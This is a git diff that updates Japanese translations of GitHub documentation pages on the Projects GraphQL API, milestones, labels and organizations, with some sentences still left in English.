-In all of the following cURL examples, replace `TOKEN` with a token that has the `read:org` scope (for queries) or `write:org` scope (for queries and mutations). The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)."
+以下のすべてのcURLの例で、`TOKEN`を`read:org`スコープ（クエリの場合）もしくは`write:org`スコープ（クエリ及びミューテーションの場合）を持つトークンで置き換えてください。 The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)."
 
 {% endcurl %}
 
@@ -29,15 +27,15 @@ In all of the following cURL examples, replace `TOKEN` with a token that has the
 
 {% data reusables.cli.cli-learn-more %}
 
-Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "write:org"`. If you only need to read, but not edit, projects, you can omit the `--scopes` argument. For more information on command line authentication, see "[gh auth login](https://cli.github.com/manual/gh_auth_login)."
+Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "write:org"`. If you only need to read, but not edit, projects, you can omit the `--scopes` argument. コマンドラインの認証に関する詳しい情報については「[ gh authログイン](https://cli.github.com/manual/gh_auth_login)」を参照してください。
 
 {% endcli %}
 
 {% cli %}
 
-## Using variables
+## 変数の利用
 
-In all of the following examples, you can use variables to simplify your scripts. Use `-F` to pass a variable that is a number, Boolean, or null. Use `-f` for other variables. For example,
+以下のすべての例で、変数を使ってスクリプトをシンプルにできます。 数値、論理値あるいはヌルである変数を渡すには、`-F`を使ってください。 その他の変数には`-f`を使ってください。 例,
 
 ```shell
 my_org="octo-org"
@@ -56,17 +54,15 @@ For more information, see "[Forming calls with GraphQL]({% ifversion ghec%}/free
 
 {% endcli %}
 
-## Finding information about projects
+## プロジェクトに関する情報を見つける
 
-Use queries to get data about projects. For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
+プロジェクトに関するデータを取得するには、クエリを使ってください。 For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
 
 ### Finding the node ID of an organization project
 
-To update your project through the API, you will need to know the node ID of the project.
+APIを通じてプロジェクトを更新するには、プロジェクトのノードIDを知る必要があります。
 
-You can find the node ID of an organization project if you know the organization name and project number. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `NUMBER` with the project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
-
-{% include tool-switcher %}
+You can find the node ID of an organization project if you know the organization name and project number. `ORGANIZATION`をOrganization名で置き換えてください。 たとえば`octo-org`というようにします。 Replace `NUMBER` with the project number. プロジェクト番号を知るには、プロジェクトのURLを見てください。 たとえば`https://github.com/orgs/octo-org/projects/5`ではプロジェクト番号は5です。
 
 {% curl %}
 ```shell
@@ -90,9 +86,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-You can also find the node ID of all projects in your organization. The following example will return the node ID and title of the first 20 projects in an organization. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`.
-
-{% include tool-switcher %}
+Organization中のすべてのプロジェクトのノードIDを見つけることもできます。 以下の例は、Orgazation中の最初の20個のプロジェクトのノードIDとタイトルを返します。 `ORGANIZATION`をOrganization名で置き換えてください。 たとえば`octo-org`というようにします。
 
 {% curl %}
 ```shell
@@ -121,11 +115,9 @@ gh api graphql -f query='
 
 ### Finding the node ID of a user project
 
-To update your project through the API, you will need to know the node ID of the project.
+APIを通じてプロジェクトを更新するには、プロジェクトのノードIDを知る必要があります。
 
-You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. For example, `octocat`. Replace `NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
-
-{% include tool-switcher %}
+You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. `octocat`などです。 `NUMBER`はプロジェクト番号で置き換えてください。 プロジェクト番号を知るには、プロジェクトのURLを見てください。 For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
 
 {% curl %}
 ```shell
@@ -149,9 +141,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. For example, `octocat`.
-
-{% include tool-switcher %}
+You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. `octocat`などです。
 
 {% curl %}
 ```shell
@@ -178,13 +168,11 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Finding the node ID of a field
+### フィールドのノードIDを見つける
 
-To update the value of a field, you will need to know the node ID of the field. Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields.
+フィールドの値を更新するには、フィールドのノードIDを知る必要があります。 Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields.
 
-The following example will return the ID, name, and settings for the first 20 fields in a project. Replace `PROJECT_ID` with the node ID of your project.
-
-{% include tool-switcher %}
+以下の例は、プロジェクト内の最初の20個のフィールドのID、名前、設定を返します。 `PROJECT_ID`をプロジェクトのノードIDで置き換えてください。
 
 {% curl %}
 ```shell
@@ -214,7 +202,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-The response will look similar to the following example:
+レスポンスは以下の例のようになります。
 
 ```json
 {
@@ -249,15 +237,13 @@ The response will look similar to the following example:
 }
 ```
 
-Each field has an ID. Additionally, single select fields and iteration fields have a `settings` value. In the single select settings, you can find the ID of each option for the single select. In the iteration settings, you can find the duration of the iteration, the start day of the iteration (from 1 for Monday to 7 for Sunday), the list of incomplete iterations, and the list of completed iterations. For each iteration in the lists of iterations, you can find the ID, title, duration, and start date of the iteration.
+各フィールドはIDを持ちます。 Additionally, single select fields and iteration fields have a `settings` value. In the single select settings, you can find the ID of each option for the single select. In the iteration settings, you can find the duration of the iteration, the start day of the iteration (from 1 for Monday to 7 for Sunday), the list of incomplete iterations, and the list of completed iterations. For each iteration in the lists of iterations, you can find the ID, title, duration, and start date of the iteration.
 
-### Finding information about items in a project
+### プロジェクト中のアイテムに関する情報を見つける
 
-You can query the API to find information about items in your project.
+APIでクエリを行い、プロジェクト中のアイテムに関する情報を見つけることができます。
 
-The following example will return the title and ID for the first 20 items in a project. For each item, it will also return the value and name for the first 8 fields in the project. If the item is an issue or pull request, it will return the login of the first 10 assignees. Replace `PROJECT_ID` with the node ID of your project.
-
-{% include tool-switcher %}
+以下の例は、プロジェクト中の最初の20個のアイテムのタイトルとIDを返します。 それぞれのアイテムについては、プロジェクト中の最初の8個のフィールドの値と名前も返します。 アイテムがIssueあるいはPull Requestの場合、アサインされた最初の10人のログインも返します。 `PROJECT_ID`をプロジェクトのノードIDで置き換えてください。
 
 {% curl %}
 ```shell
@@ -310,7 +296,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-A project may contain items that a user does not have permission to view. In this case, the response will include a redacted item.
+プロジェクトは、ユーザが表示権限を持たないアイテムを含んでいることがあります。 In this case, the response will include a redacted item.
 
 ```shell
 {
@@ -321,21 +307,19 @@ A project may contain items that a user does not have permission to view. In thi
 }
 ```
 
-## Updating projects
+## プロジェクトの更新
 
-Use mutations to update projects. For more information, see "[About mutations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)."
+プロジェクトを更新するには、ミューテーションを使ってください。 For more information, see "[About mutations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)."
 
 {% note %}
 
-**Note:** You cannot add and update an item in the same call. You must use `addProjectNextItem` to add the item and then use `updateProjectNextItemField` to update the item.
+**ノート:** 同じ呼び出し中で、アイテムを追加して更新することはできません。 `addProjectNextItem`を使ってアイテムを追加し、それから`updateProjectNextItemField`を使ってそのアイテムを更新しなければなりません。
 
 {% endnote %}
 
-### Adding an item to a project
+### プロジェクトへのアイテムの追加
 
-The following example will add an issue or pull request to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `CONTENT_ID` with the node ID of the issue or pull request that you want to add.
-
-{% include tool-switcher %}
+以下の例は、プロジェクトにIssueあるいはPull Requestを追加します。 `PROJECT_ID`をプロジェクトのノードIDで置き換えてください。 `CONTENT_ID`を、追加したいIssueあるいはPull RequestのノードIDで置き換えてください。
 
 {% curl %}
 ```shell
@@ -359,7 +343,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-The response will contain the node ID of the newly created item.
+レスポンスには、新しく作成されたアイテムのノードIDが含まれます。
 
 ```json
 {
@@ -377,9 +361,7 @@ If you try to add an item that already exists, the existing item ID is returned
 
 ### Updating a custom text, number, or date field
 
-The following example will update the value of a date field for an item. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to update. Replace `FIELD_ID` with the ID of the field that you want to update.
-
-{% include tool-switcher %}
+The following example will update the value of a date field for an item. `PROJECT_ID`をプロジェクトのノードIDで置き換えてください。 `ITEM_ID`を、更新したいアイテムのノードIDで置き換えてください。 `FIELD_ID`を、更新したいフィールドのIDで置き換えてください。
 
 {% curl %}
 ```shell
@@ -412,7 +394,7 @@ gh api graphql -f query='
 
 {% note %}
 
-**Note:** You cannot use `updateProjectNextItemField` to change `Assignees`, `Labels`, `Milestone`, or `Repository` because these fields are properties of pull requests and issues, not of project items. Instead, you must use the [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest), or [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue) mutations.
+**ノート:** `updateProjectNextItemField`を使って`Assignees`、`Labels`、`Milestone`、`Repository`を変更することはできません。これは、これらのフィールドがプロジェクトのアイテムのプロパティではなく、Pull RequestやIssueのプロパティだからです。 Instead, you must use the [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest), or [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue) mutations.
 
 {% endnote %}
 
@@ -420,13 +402,11 @@ gh api graphql -f query='
 
 The following example will update the value of a single select field for an item.
 
-- `PROJECT_ID` - Replace this with the node ID of your project.
-- `ITEM_ID` - Replace this with the node ID of the item you want to update.
+- `PROJECT_ID` - プロジェクトのノードIDで置き換えてください。
+- `ITEM_ID` - 更新したいアイテムのノードIDで置き換えてください。
 - `FIELD_ID` -  Replace this with the ID of the single select field that you want to update.
 - `OPTION_ID` - Replace this with the ID of the desired single select option.
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -460,13 +440,11 @@ gh api graphql -f query='
 
 The following example will update the value of an iteration field for an item.
 
-- `PROJECT_ID` - Replace this with the node ID of your project.
-- `ITEM_ID` - Replace this with the node ID of the item you want to update.
+- `PROJECT_ID` - プロジェクトのノードIDで置き換えてください。
+- `ITEM_ID` - 更新したいアイテムのノードIDで置き換えてください。
 - `FIELD_ID` -  Replace this with the ID of the iteration field that you want to update.
 - `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active iteration (from the `iterations` array) or a completed iteration (from the `completed_iterations` array).
 
-{% include tool-switcher %}
-
 {% curl %}
 ```shell
 curl --request POST \
@@ -496,11 +474,9 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Deleting an item from a project
+### プロジェクトからのアイテムの削除
 
-The following example will delete an item from a project. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to delete.
-
-{% include tool-switcher %}
+以下の例は、プロジェクトからアイテムを削除します。 `PROJECT_ID`をプロジェクトのノードIDで置き換えてください。 `ITEM_ID`を、削除したいアイテムのノードIDで置き換えてください。
 
 {% curl %}
 ```shell
diff --git a/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md b/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md
index 2508de2cd6..4a2f3bf422 100644
--- a/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md
+++ b/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md
@@ -1,6 +1,6 @@
 ---
-title: About milestones
-intro: You can use milestones to track progress on groups of issues or pull requests in a repository.
+title: マイルストーンについて
+intro: マイルストーンを使ってリポジトリ中のIssueやプルリクエストのグループの進捗を追跡できます。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/about-milestones
   - /articles/about-milestones
@@ -13,35 +13,36 @@ versions:
 topics:
   - Pull requests
 ---
-When you [create a milestone](/articles/creating-and-editing-milestones-for-issues-and-pull-requests), you can [associate it with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests).
 
-To better manage your project, you can [view details about your milestone](/articles/viewing-your-milestone-s-progress). From the milestone page, you can see:
+[マイルストーンを作成](/articles/creating-and-editing-milestones-for-issues-and-pull-requests)すると、作成した[マイルストーンをIssueやプルリクエストに関連づけ](/articles/associating-milestones-with-issues-and-pull-requests)できます。
 
-- A user-provided description of the milestone, which can include information like a project overview, relevant teams, and projected due dates
-- The milestone's due date
-- The milestone's completion percentage
-- The number of open and closed issues and pull requests associated with the milestone
-- A list of the open and closed issues and pull requests associated with the milestone
+プロジェクトをよりよく管理するため、[マイルストーンの詳細を見る](/articles/viewing-your-milestone-s-progress)ことができます。 マイルストーンページからは、以下を見ることができます:
 
-Additionally, you can edit the milestone from the milestone page and create new issues that are, by default, associated with the milestone.
+- ユーザが提供したマイルストーンの説明。これにはプロジェクトの概要、関連するTeam、プロジェクトの期限といった情報が含まれます。
+- マイルストーンの期限日
+- マイルストーンの完了パーセンテージ
+- マイルストーンに関連づけられたオープン及びクローズのIssueとプルリクエスト数
+- マイルストーンに関連づけられたオープンとクローズのIssueとプルリクエストのリスト
 
-![Milestone page](/assets/images/help/issues/milestone-info-page.png)
+加えて、マイルストーンページからマイルストーンの変更と、デフォルトでマイルストーンに関連づけられた新しいIssueの作成ができます。
 
-## Prioritizing issues and pull requests in milestones
+![マイルストーンページ](/assets/images/help/issues/milestone-info-page.png)
 
-You can prioritize open issues and pull requests in a milestone by clicking to the left of an issue or pull request's checkbox, dragging it to a new location, and dropping it.
+## マイルストーン中のIssueとプルリクエストの優先順位付け
+
+マイルストーン中のオープンのIssueとプルリクエストは、Issueもしくはプルリクエストのチェックボックスの左をクリックし、新しい場所へドラッグし、ドロップすることによって、優先順位付けできます。
 
 {% note %}
 
-**Note:** If there are more than 500 open issues in a milestone, you won't be able to prioritize issues.
+**ノート：**500以上のオープンなIssueがマイルストーン中にあると、Issueの優先順位付けはできません。
 
 {% endnote %}
 
-![Reordered milestone](/assets/images/help/issues/milestone-reordered.gif)
+![並べ替えられたマイルストーン](/assets/images/help/issues/milestone-reordered.gif)
 
-## Further reading
+## 参考リンク
 
-- "[Creating and editing milestones for issues and pull requests](/articles/creating-and-editing-milestones-for-issues-and-pull-requests)"
-- "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests)"
-- "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)"
-- "[Viewing your milestone's progress](/articles/viewing-your-milestone-s-progress)"
+- [IssueやPull Requestのためのマイルストーンの作成と編集](/articles/creating-and-editing-milestones-for-issues-and-pull-requests)
+- [Issue及びPull Requestとのマイルストーンの関連づけ](/articles/associating-milestones-with-issues-and-pull-requests)
+- [マイルストーンによるIssue及びPull Requestのフィルタリング](/articles/filtering-issues-and-pull-requests-by-milestone)
+- [マイルストーンの進捗の表示](/articles/viewing-your-milestone-s-progress)
diff --git a/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
index c008e01a7b..1b37e59503 100644
--- a/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
+++ b/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and editing milestones for issues and pull requests
-intro: You can create a milestone to track progress on groups of issues or pull requests in a repository.
+title: Issue とPull Requestのマイルストーンの作成と削除
+intro: リポジトリ内にある Issue やPull Requestのグループに関する進行状況を追跡するためのマイルストーンを作成できます。
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests
   - /articles/creating-milestones-for-issues-and-pull-requests
@@ -15,32 +15,30 @@ topics:
   - Pull requests
   - Issues
   - Project management
-shortTitle: Create & edit milestones
+shortTitle: マイルストーンの作成と編集
 type: how_to
 ---
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-issue-pr %}
-{% data reusables.project-management.milestones %}
-4. Choose one of these options:
-    - To create a new milestone, click **New Milestone**.
-  ![New milestone button](/assets/images/help/repository/new-milestone.png)
-    - To edit a milestone, next to the milestone you want to edit, click **Edit**.
-  ![Edit milestone option](/assets/images/help/repository/edit-milestone.png)
-5. Type the milestone's title, description, or other changes, and click **Create milestone** or **Save changes**. Milestones will render Markdown syntax. For more information about Markdown syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
-
-## Deleting milestones
-
-When you delete milestones, issues and pull requests are not affected.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.milestones %}
-4. Next to the milestone you want to delete, click **Delete**.
-![Delete milestone option](/assets/images/help/repository/delete-milestone.png)
+4. 以下のオプションから 1 つ選択します:
+    - 新しいマイルストーンを作成するには、[**New Milestone**] をクリックします。 ![[New milestone] ボタン](/assets/images/help/repository/new-milestone.png)
+    - マイルストーンを編集するには、編集対象のマイルストーンの隣にある [**Edit**] をクリックします。 ![マイルストーンの編集](/assets/images/help/repository/edit-milestone.png)
+5. マイルストーンのタイトル、説明、その他の変更を入力し、[**Create milestone**] または [**Save changes**] をクリックします。 マイルストーンはMarkdown構文をレンダリングします。 Markdown構文に関する詳しい情報については「[基本的な書き込みとフォーマットの構文](/github/writing-on-github/basic-writing-and-formatting-syntax)」を参照してください。
 
-## Further reading
+## マイルストーンの削除
 
-- "[About milestones](/articles/about-milestones)"
-- "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests)"
-- "[Viewing your milestone's progress](/articles/viewing-your-milestone-s-progress)"
-- "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)"
+マイルストーンを削除しても、Issue やPull Requestに影響はありません。
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-issue-pr %}
+{% data reusables.project-management.milestones %}
+4. 削除対象のマイルストーンの隣にある [**Delete**] をクリックします。 ![マイルストーンの削除](/assets/images/help/repository/delete-milestone.png)
+
+## 参考リンク
+
+- [マイルストーンについて](/articles/about-milestones)
+- [Issue及びPull Requestとのマイルストーンの関連づけ](/articles/associating-milestones-with-issues-and-pull-requests)
+- [マイルストーンの進捗の表示](/articles/viewing-your-milestone-s-progress)
+- [マイルストーンによるIssue及びPull Requestのフィルタリング](/articles/filtering-issues-and-pull-requests-by-milestone)
diff --git a/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
index f5f9e3b136..aa75fb3e22 100644
--- a/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
+++ b/translations/ja-JP/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
@@ -1,6 +1,6 @@
 ---
-title: Managing labels
-intro: 'You can classify {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %} by creating, editing, applying, and deleting labels.'
+title: ラベルを管理する
+intro: 'ラベルの作成、編集、適用、削除によって、{% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueとPull Request{% endif %}を分類できます。'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-repo %}'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/managing-labels
@@ -31,56 +31,55 @@ topics:
   - Project management
 type: how_to
 ---
-## About labels
+  ## ラベルについて
 
-You can manage your work on {% data variables.product.product_name %} by creating labels to categorize {% ifversion fpt or ghec %}issues, pull requests, and discussions{% else %}issues and pull requests{% endif %}. You can apply labels in the repository the label was created in. Once a label exists, you can use the label on any {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} within that repository.
+{% data variables.product.product_name %}上の作業を、{% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueとPull Request{% endif %}を分類するためのラベルを作成することによって管理できます。 ラベルが作成されたリポジトリ内にラベルを適用できます。 ラベルがあれば、そのリポジトリ内の任意の{% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueやPull Request{% endif %}にそのラベルを使用できます。
 
-## About default labels
+## デフォルトラベルについて
 
-{% data variables.product.product_name %} provides default labels in every new repository. You can use these default labels to help create a standard workflow in a repository.
+{% data variables.product.product_name %} は、すべての新しいリポジトリにデフォルトのラベルを提供します。 これらのデフォルトラベルを使用して、リポジトリに標準のワークフローを作成しやすくすることができます。
 
-Label | Description
----  | ---
-`bug` | Indicates an unexpected problem or unintended behavior{% ifversion fpt or ghes or ghec %}
-`documentation` | Indicates a need for improvements or additions to documentation{% endif %}
-`duplicate` | Indicates similar {% ifversion fpt or ghec %}issues, pull requests, or discussions{% else %}issues or pull requests{% endif %}
-`enhancement` | Indicates new feature requests
-`good first issue` | Indicates a good issue for first-time contributors
-`help wanted` | Indicates that a maintainer wants help on an issue or pull request
-`invalid` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} is no longer relevant
-`question` | Indicates that an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %} needs more information
-`wontfix` | Indicates that work won't continue on an {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %}
+| ラベル                | 説明                                                                                                                 |
+| ------------------ | ------------------------------------------------------------------------------------------------------------------ |
+| `bug`              | 予想外の問題あるいは意図しない振る舞いを示します{% ifversion fpt or ghes or ghec %}
+| `documentation`    | ドキュメンテーションに改善や追加が必要であることを示します{% endif %}
+| `duplicate`        | 同様の{% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueやPull Request{% endif %}を示します。             |
+| `enhancement`      | 新しい機能のリクエストを示します                                                                                                   |
+| `good first issue` | 初回のコントリビューターに適した Issue を示します                                                                                       |
+| `help wanted`      | メンテナーが Issue もしくはプルリクエストに助けを求めていることを示します                                                                           |
+| `invalid`          | {% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueやPull Request{% endif %}が関係なくなっていることを示します。    |
+| `question`         | {% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueやPull Request{% endif %}にさらに情報が必要であることを示します。  |
+| `wontfix`          | {% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueやPull Request{% endif %}に対する作業が継続されないことを示します。 |
 
-Default labels are included in every new repository when the repository is created, but you can edit or delete the labels later.
+リポジトリの作成時に、すべての新しいリポジトリにデフォルトのラベルが含められますが、後でそのラベルを編集または削除できます。
 
-Issues with the `good first issue` label are used to populate the repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). 
+`good first issue`ラベル付きのIssueは、リポジトリの`contribute`ページを展開するために使われます。 `contribute`ページの例については[github/docs/contribute](https://github.com/github/docs/contribute)を参照してください。
 
 {% ifversion fpt or ghes or ghec %}
-Organization owners can customize the default labels for repositories in their organization. For more information, see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)."
+Organization のオーナーは、Organization 内のリポジトリのためのデフォルトラベルをカスタマイズできます。 詳しい情報については、「[Organization 内のリポジトリのためのデフォルトラベルを管理する](/articles/managing-default-labels-for-repositories-in-your-organization)」を参照してください。
 {% endif %}
 
-## Creating a label
+## ラベルの作成
 
 Anyone with write access to a repository can create a label.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
-4. To the right of the search field, click **New label**.
+4. 検索フィールドの右にある、[**New label**] をクリックします。
 {% data reusables.project-management.name-label %}
 {% data reusables.project-management.label-description %}
 {% data reusables.project-management.label-color-randomizer %}
 {% data reusables.project-management.create-label %}
 
-## Applying a label
+## ラベルの適用
 
 Anyone with triage access to a repository can apply and dismiss labels.
 
-1. Navigate to the {% ifversion fpt or ghec %}issue, pull request, or discussion{% else %}issue or pull request{% endif %}.
-1. In the right sidebar, to the right of "Labels", click {% octicon "gear" aria-label="The gear icon" %}, then click a label.
-  !["Labels" drop-down menu](/assets/images/help/issues/labels-drop-down.png)
+1. {% ifversion fpt or ghec %}Issue、Pull Request、ディスカッション{% else %}IssueあるいはPull Request{% endif %}にアクセスしてください。
+1. 右のサイドバーで、"Labels（ラベル）"の右の{% octicon "gear" aria-label="The gear icon" %}をクリックし、続いてラベルをクリックしてください !["ラベル" ドロップダウンメニュー](/assets/images/help/issues/labels-drop-down.png)
 
-## Editing a label
+## ラベルの編集
 
 Anyone with write access to a repository can edit existing labels.
 
@@ -93,18 +92,18 @@ Anyone with write access to a repository can edit existing labels.
 {% data reusables.project-management.label-color-randomizer %}
 {% data reusables.project-management.save-label %}
 
-## Deleting a label
+## ラベルの削除
 
 Anyone with write access to a repository can delete existing labels.
 
-Deleting a label will remove the label from issues and pull requests.
+ラベルを削除すると、Issue とプルリクエストからラベルが削除されます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
 {% data reusables.project-management.delete-label %}
 
-## Further reading
+## 参考リンク
 - "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)"{% ifversion fpt or ghes or ghec %}
-- "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)"{% endif %}{% ifversion fpt or ghec %}
-- "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)"{% endif %}
+- 「[Organization 内のリポジトリのためのデフォルトラベルを管理する](/articles/managing-default-labels-for-repositories-in-your-organization)」{% endif %}{% ifversion fpt or ghec %}
+- 「[ラベルを使用してプロジェクトに役立つコントリビューションを促す](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)」{% endif %}
diff --git a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
index d5073f08ca..b862ec7406 100644
--- a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
+++ b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
@@ -1,6 +1,6 @@
 ---
-title: About organizations
-intro: Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features.
+title: Organizationについて
+intro: Organizationは、企業やオープンソースプロジェクトが多くのプロジェクトにわたって一度にコラボレーションできる共有アカウントです。 オーナーと管理者は、Organizationのデータとプロジェクトへのメンバーのアクセスを、洗練されたセキュリティ及び管理機能で管理できます。
 redirect_from:
   - /articles/about-organizations
   - /github/setting-up-and-managing-organizations-and-teams/about-organizations
@@ -16,23 +16,27 @@ topics:
 
 {% data reusables.organizations.about-organizations %} For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
